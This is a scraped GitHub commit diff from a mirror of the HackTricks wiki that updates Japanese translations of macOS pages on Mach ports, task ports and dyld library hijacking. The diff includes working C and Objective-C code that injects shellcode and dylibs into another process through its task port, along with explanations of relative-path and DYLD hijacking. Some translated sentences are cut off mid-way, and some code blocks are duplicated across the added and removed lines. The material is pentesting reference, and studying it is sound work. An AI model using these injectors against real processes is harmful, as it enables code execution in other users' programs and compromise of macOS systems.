mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
e2d20113f8
commit
a7bd9664f8
2 changed files with 65 additions and 221 deletions
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
@ -22,21 +22,21 @@ Machは、リソースの共有において**タスク**を**最小単位**と
|
|||
|
||||
各プロセスには**IPCテーブル**があり、そこには**プロセスのMachポート**が格納されています。Machポートの名前は実際には数値(カーネルオブジェクトへのポインタ)です。
|
||||
|
||||
プロセスはまた、**ポート名とその権限を別のタスクに送信**することもでき、カーネルはこれを他のタスクの**IPCテーブルにエントリとして登録**します。
|
||||
プロセスはまた、**ポート名とその権限を別のタスクに送信**することもでき、カーネルはこれを他のタスクの**IPCテーブルにエントリ**として表示します。
|
||||
|
||||
### ポート権限
|
||||
|
||||
通信には、タスクが実行できる操作を定義する**ポート権限**が重要です。可能な**ポート権限**は次のとおりです。
|
||||
タスクが実行できる操作を定義するポート権限は、この通信に重要です。可能な**ポート権限**は次のとおりです。
|
||||
|
||||
* **受信権限**:ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC(複数プロデューサ、単一コンシューマ)キューであるため、システム全体で**ポートごとに受信権限は1つだけ**存在できます(複数のプロセスが1つのパイプの読み取りエンドに対するファイルディスクリプタを保持できるパイプとは異なります)。
|
||||
* **受信権限を持つタスク**はメッセージを受信し、メッセージを送信するための**送信権限を作成**することができます。元々は**自分自身のタスクが自分自身のポートに対して受信権限を持っていました**。
|
||||
* **受信権限**:ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC(複数プロデューサ、単一コンシューマ)キューであり、システム全体で**ポートごとに受信権限は1つだけ**存在できます(複数のプロセスが1つのパイプの読み取りエンドに対するファイルディスクリプタを保持できるパイプとは異なります)。
|
||||
* **受信権限を持つタスク**はメッセージを受信し、メッセージを送信するための**送信権限を作成**できます。最初は**自分自身のタスクが自分自身のポートに対して受信権限を持っています**。
|
||||
* **送信権限**:ポートにメッセージを送信することを許可します。
|
||||
* 送信権限は**クローン**することができ、送信権限を所有するタスクは権限を**第三のタスクに付与**することができます。
|
||||
* **一度だけ送信権限**:ポートに1つのメッセージを送信し、その後消えます。
|
||||
* **ポートセット権限**:単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、それに含まれるポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートで同時にリッスンするために使用できます。
|
||||
* **デッドネーム**:実際のポート権限ではなく、単なるプレースホルダです。ポートが破棄されると、ポートへのすべての既存のポート権限がデッドネームに変わります。
|
||||
* **デッドネーム**:実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限がデッドネームに変わります。
|
||||
|
||||
**タスクはSEND権限を他のタスクに転送**することができ、それによりメッセージを送信できるようになります。**SEND権限はクローン**することもできるため、タスクは権限を複製して**第三のタスクに付与**することができます。これにより、中間プロセスである**ブートストラップサーバ**との間で効果的な通信が可能になります。
|
||||
**タスクはSEND権限を他のタスクに転送**することができ、それによりメッセージを送信できるようになります。**SEND権限はクローン**することもでき、タスクは権限を**第三のタスクに複製して付与**することができます。これにより、中間プロセスである**ブートストラップサーバ**との間で効果的な通信が可能になります。
|
||||
|
||||
### 通信の確立
|
||||
|
||||
|
@ -47,11 +47,11 @@ Machは、リソースの共有において**タスク**を**最小単位**と
|
|||
1. タスク**A**は**新しいポート**を初期化し、プロセス内で**受信権限**を取得します。
|
||||
2. 受信権限を持つタスク**A**は、ポートの**送信権限を生成**します。
|
||||
3. タスク**A**は、**ブートストラップサーバ**との**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録という手順を通じて提供します。
|
||||
4. タスク**B**は、サービス名のブートストラップ**ルックアップ**を実行するために**ブートストラップサーバ**とやり取りします。成功した場合、サーバはタスクAから受け取った**送信権限を複製**し、**タスクBに送信**します。
|
||||
5. 送信権限を取得したタスク**B**は、メッセージを**作成**し、それを**タスクAに送信**します。
|
||||
6. 双方向通信の場合、通常はタスク**B**が**受信権限**と**送信権限**を持つ新しいポートを生成し、**送信権限をタスクAに渡す**ことで、タスクAからタスクBにメッセージを送信できるようにします(双方向通信)。
|
||||
4. タスク**B**は、サービス名のブートストラップ**ルックアップ**を実行するために**ブートストラップサーバ**とやり取りします。成功した場合、サーバはタスクAから受け取った**送信権限を複製**し、タスクBに**送信**します。
|
||||
5. 送信権限を取得したタスク**B**は、メッセージを**作成**し、それをタスク**A**に**送信**することができます。
|
||||
6. 双方向通信の場合、通常はタスク**B**が**受信権限**と**送信権限**を持つ新しいポートを生成し、**送信権限をタスクA**に渡すことで、タスクAからタスクBにメッセージを送信できるようにします(双方向通信)。
|
||||
|
||||
ブートストラップサーバは、タスクが
|
||||
ブートストラップサーバは、タスクが主張するサービス名を**
|
||||
### Machメッセージ
|
||||
|
||||
Machメッセージは、**`mach_msg`関数**を使用して送信または受信されます(これは基本的にシスコールです)。送信時には、この呼び出しの最初の引数は**メッセージ**でなければなりません。メッセージは、**`mach_msg_header_t`**で始まり、実際のペイロードが続きます。
|
||||
|
@ -65,15 +65,15 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
**受信者**は、machポートでメッセージを**受信**できるプロセスと言われ、**送信者**は_**送信**_または_**送信一度**_**権限**を持っています。名前の通り、送信一度は1回のメッセージの送信のみに使用され、その後は無効になります。
|
||||
**受信者**は、machポートでメッセージを**受信**できるプロセスと言われ、**送信者**は_**送信**_または_**送信一度**_**権限**を持っています。名前が示すように、送信一度は1回のメッセージの送信のみに使用され、その後は無効になります。
|
||||
|
||||
簡単な**双方向通信**を実現するために、プロセスは**machメッセージヘッダ**の中にある_応答ポート_(**`msgh_local_port`**)と呼ばれるmachポートを指定することができます。メッセージの**受信者**は、このメッセージに対して**応答を送信**することができます。**`msgh_bits`**のビットフラグを使用して、このポートに**送信一度**権限が派生して転送されることを示すことができます(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
簡単な**双方向通信**を実現するために、プロセスはmachメッセージヘッダーの中にある_応答ポート_(**`msgh_local_port`**)と呼ばれるmachポートを指定することができます。メッセージの**受信者**は、このメッセージに対して**応答**を送信することができます。**`msgh_bits`**のビットフラグを使用して、このポートに対して**送信一度**権限が派生して転送されることを示すことができます(`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
{% hint style="success" %}
|
||||
このような双方向通信は、応答を期待するXPCメッセージ(`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`)で使用されます。ただし、通常は前述のように異なるポートが作成され、双方向通信が作成されます。
|
||||
{% endhint %}
|
||||
|
||||
メッセージヘッダの他のフィールドは次のとおりです:
|
||||
メッセージヘッダーの他のフィールドは次のとおりです:
|
||||
|
||||
* `msgh_size`:パケット全体のサイズ。
|
||||
* `msgh_remote_port`:このメッセージが送信されるポート。
|
||||
|
@ -92,7 +92,7 @@ lsmp -p <pid>
|
|||
|
||||
### コードの例
|
||||
|
||||
**送信者**はポートを割り当て、名前`org.darlinghq.example`の**送信権**を作成し、それを**ブートストラップサーバ**に送信します。一方、受信者はその名前の**送信権**を要求し、それを使用してメッセージを送信します。
|
||||
**送信者**はポートを割り当て、名前`org.darlinghq.example`の**送信権**を作成し、それを**ブートストラップサーバー**に送信します。一方、受信者はその名前の**送信権**を要求し、それを使用してメッセージを送信します。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -261,20 +261,20 @@ printf("Sent a message\n");
|
|||
|
||||
### 特権ポート
|
||||
|
||||
* **ホストポート**: プロセスがこのポートに対して**送信権限**を持っている場合、システムに関する**情報**(例:`host_processor_info`)を取得できます。
|
||||
* **ホスト特権ポート**: このポートに対して**送信権限**を持つプロセスは、カーネル拡張をロードするなどの**特権アクション**を実行できます。この権限を取得するには、**プロセスはルート権限**を持つ必要があります。
|
||||
* **ホストポート**: このポートに対して**Send**権限を持つプロセスは、**システムに関する情報**(例:`host_processor_info`)を取得することができます。
|
||||
* **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張をロードするなどの**特権アクション**を実行することができます。この権限を取得するには、**プロセスはrootである必要があります**。
|
||||
* さらに、**`kext_request`** APIを呼び出すためには、Appleのバイナリにのみ与えられる**`com.apple.private.kext*`**という他の権限が必要です。
|
||||
* **タスク名ポート**: _タスクポート_の非特権バージョンです。タスクを参照することはできますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`です。
|
||||
* **タスクポート**(またはカーネルポート)**: このポートに対する送信権限を持つと、タスクを制御することができます(メモリの読み書き、スレッドの作成など)。
|
||||
* 呼び出し元タスクのこのポートの**名前を取得**するには、`mach_task_self()`を呼び出します。このポートは**`exec()`を跨いでのみ継承**されます。`fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別な場合として、suidバイナリの`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行う際に["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)を実行することです。
|
||||
* **タスク名ポート**: _タスクポート_の非特権バージョンです。タスクを参照することはできますが、制御することはできません。これを通じて利用可能なのは`task_info()`だけのようです。
|
||||
* **タスクポート**(またはカーネルポート)**: このポートに対してSend権限を持つと、タスクを制御することができます(メモリの読み書き、スレッドの作成など)。
|
||||
* 呼び出し元タスクのこのポートの**名前を取得**するには、`mach_task_self()`を呼び出します。このポートは**`exec()`を跨いでのみ継承**されます。`fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、suidバイナリの`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行う際に["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)を実行することです。
|
||||
* これらはポートへのアクセス制限です(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から):
|
||||
* アプリに**`com.apple.security.get-task-allow`権限**がある場合、**同じユーザーのプロセスはタスクポートにアクセス**できます(デバッグのためにXcodeによって一般的に追加されます)。**公開リリース**では、**公証**プロセスはこれを許可しません。
|
||||
* **`com.apple.system-task-ports`権限**を持つアプリは、カーネルを除く**任意の**プロセスのタスクポートを取得できます。以前のバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
|
||||
* **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得**できます。以前のバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
|
||||
* **ルートユーザーは、ハード化されたランタイムでコンパイルされていないアプリケーション**(およびAppleのアプリケーションではない)のタスクポートにアクセスできます。
|
||||
|
||||
### タスクポートを介したスレッドへのシェルコードのインジェクション
|
||||
|
||||
シェルコードを取得するには、次の場所から取得できます:
|
||||
シェルコードは以下から取得できます:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -321,61 +321,10 @@ return 0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="English" %}
|
||||
```objective-c
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <mach/mach.h>
|
||||
#import <mach/mach_vm.h>
|
||||
#import <sys/mman.h>
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
mach_port_t target_task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &target_task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid: %d\n", target_pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
|
||||
size_t shellcode_size = strlen(shellcode);
|
||||
|
||||
mach_vm_address_t remote_address;
|
||||
kr = mach_vm_allocate(target_task, &remote_address, shellcode_size, VM_FLAGS_ANYWHERE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to allocate memory in target process\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kr = mach_vm_write(target_task, remote_address, (vm_offset_t)shellcode, shellcode_size);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to write shellcode to target process\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kr = mach_vm_protect(target_task, remote_address, shellcode_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to change memory protection of shellcode in target process\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("Shellcode injected successfully\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
</details>
|
||||
|
||||
Compile the previous program and add the entitlements to be able to inject code with the same user (if not you will need to use sudo).
|
||||
前のプログラムを**コンパイル**し、同じユーザーでコードをインジェクトできるように**エンタイトルメント**を追加します(そうでない場合は**sudo**を使用する必要があります)。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -763,128 +712,22 @@ if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
|||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
```c
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
|
||||
printf("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
|
||||
printf("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
printf("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib);
|
||||
strcpy(possiblePatchLocation, lib);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -907,7 +750,7 @@ kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EX
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "リモートスレッドのコードのメモリアクセス権を設定できません:エラー %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "リモートスレッドのコードのメモリアクセス権を設定できませんでした:エラー %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -916,31 +759,31 @@ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_P
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "リモートスレッドのスタックのメモリアクセス権を設定できません:エラー %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "リモートスレッドのスタックのメモリアクセス権を設定できませんでした:エラー %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// シェルコードを実行するスレッドを作成する
|
||||
// シェルコードを実行するためのスレッドを作成する
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // これが実際のスタックです
|
||||
//remoteStack64 -= 8; // 16のアライメントが必要です
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
const char* p = (const char*)remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
|
||||
|
||||
printf("リモートスタック64 0x%llx、リモートコードは %p\n", remoteStack64, p);
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "リモートスレッドの作成に失敗しました:エラー %s", mach_error_string(kr));
|
||||
|
@ -952,7 +795,7 @@ return (0);
|
|||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
|
@ -962,14 +805,15 @@ exit(0);
|
|||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
const char* action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat(action, &buf);
|
||||
if (rc == 0) inject(pid, action);
|
||||
if (rc == 0)
|
||||
inject(pid, action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "Dylibが見つかりません\n");
|
||||
fprintf(stderr, "Dylibが見つかりません\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
|
|
@ -33,10 +33,10 @@
|
|||
|
||||
* バイナリが`setuid/setgid`である
|
||||
* machoバイナリに`__RESTRICT/__restrict`セクションが存在する
|
||||
* ソフトウェアには、[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)エンタイトルメントがある(ハード化されたランタイム)
|
||||
* バイナリのエンタイトルメントを確認するには:`codesign -dv --entitlements :- </path/to/bin>`
|
||||
* ソフトウェアには、[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)エンタイトルメントがないハードランタイムのエンタイトルメントがある
|
||||
* バイナリのエンタイトルメントを次のコマンドで確認する:`codesign -dv --entitlements :- </path/to/bin>`
|
||||
|
||||
より最新のバージョンでは、このロジックを関数**`configureProcessRestrictions`**の後半で見つけることができます。ただし、新しいバージョンでは、関数の**最初のチェックが実行**されます(iOSやシミュレーションに関連するif文は削除してもかまいません)。
|
||||
より最新のバージョンでは、このロジックは関数**`configureProcessRestrictions`**の2番目の部分で見つけることができます。ただし、新しいバージョンでは、関数の**最初のチェックが実行**されます(iOSやシミュレーションに関連するif文はmacOSでは使用されないため、それらを削除できます)。
|
||||
{% endhint %}
|
||||
|
||||
### ライブラリの検証
|
||||
|
@ -48,13 +48,13 @@
|
|||
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
または、バイナリには**ハード化されたランタイムフラグ**または**ライブラリの検証フラグ**がない必要があります。
|
||||
または、バイナリには**ハードランタイムフラグ**または**ライブラリ検証フラグ**がない必要があります。
|
||||
|
||||
`codesign --display --verbose <bin>`を使用してバイナリが**ハード化されたランタイム**を持っているかどうかを確認し、**`CodeDirectory`**のランタイムフラグをチェックします。例:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
`codesign --display --verbose <bin>`を使用してバイナリが**ハードランタイム**を持っているかどうかを確認し、**`CodeDirectory`**のランタイムフラグをチェックします。例:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
|
||||
また、バイナリが**バイナリと同じ証明書で署名されている場合**も、ライブラリをロードすることができます。
|
||||
また、バイナリが**バイナリと同じ証明書で署名**されている場合も、ライブラリをロードすることができます。
|
||||
|
||||
これを悪用する方法の例と制限を確認するには、次を参照してください:
|
||||
これを悪用する方法の例と制限を確認するには、次の場所を参照してください。
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -153,9 +153,9 @@ compatibility version 1.0.0
|
|||
5. `/usr/lib/`
|
||||
|
||||
{% hint style="danger" %}
|
||||
スラッシュが含まれていてフレームワークではない場合、乗っ取りの方法は次のとおりです:
|
||||
名前にスラッシュが含まれておりフレームワークではない場合、乗っ取りの方法は次のとおりです:
|
||||
|
||||
* バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かをロードすることが可能です(または、上記の環境変数のいずれかを悪用する)
|
||||
* バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かをロードすることが可能です(または、言及された環境変数のいずれかを悪用する)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -168,7 +168,7 @@ compatibility version 1.0.0
|
|||
注意:Appleのプラットフォームでは、ほとんどのOS dylibは**dyldキャッシュに統合**されており、ディスク上に存在しません。したがって、OS dylibが存在するかどうかを事前に確認するために**`stat()`**を呼び出すことはできません。ただし、**`dlopen_preflight()`**は、互換性のあるmach-oファイルを見つけるために**`dlopen()`**と同じ手順を使用します。
|
||||
{% endhint %}
|
||||
|
||||
**パスをチェックする**
|
||||
**パスのチェック**
|
||||
|
||||
以下のコードですべてのオプションをチェックしましょう:
|
||||
```c
|
||||
|
@ -217,13 +217,17 @@ return 0;
|
|||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の削除
|
||||
## 相対パスの乗っ取り
|
||||
|
||||
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`DYLD_`**で始まる環境変数と**`LD_LIBRARY_PATH=`**を削除する関数**`pruneEnvironmentVariables`**が存在します。
|
||||
もし特権のあるバイナリ/アプリ(SUIDや強力な権限を持つバイナリなど)が相対パスのライブラリ(例えば`@executable_path`や`@loader_path`を使用して)をロードしており、かつライブラリの検証が無効になっている場合、攻撃者はバイナリを変更可能な場所に移動させ、その相対パスのライブラリを悪用してプロセスにコードを注入することができるかもしれません。
|
||||
|
||||
また、この関数は、**suid**および**sgid**バイナリの場合に、特に環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**および**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
|
||||
## `DYLD_*`と`LD_LIBRARY_PATH`環境変数の削除
|
||||
|
||||
この関数は、同じファイルの**`_main`**関数から、OSXをターゲットにして呼び出されます。
|
||||
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`**という関数があります。この関数は、**`DYLD_`**で始まる環境変数と**`LD_LIBRARY_PATH=`**を削除します。
|
||||
|
||||
また、**suid**および**sgid**バイナリに対しては、この関数は明示的に環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
|
||||
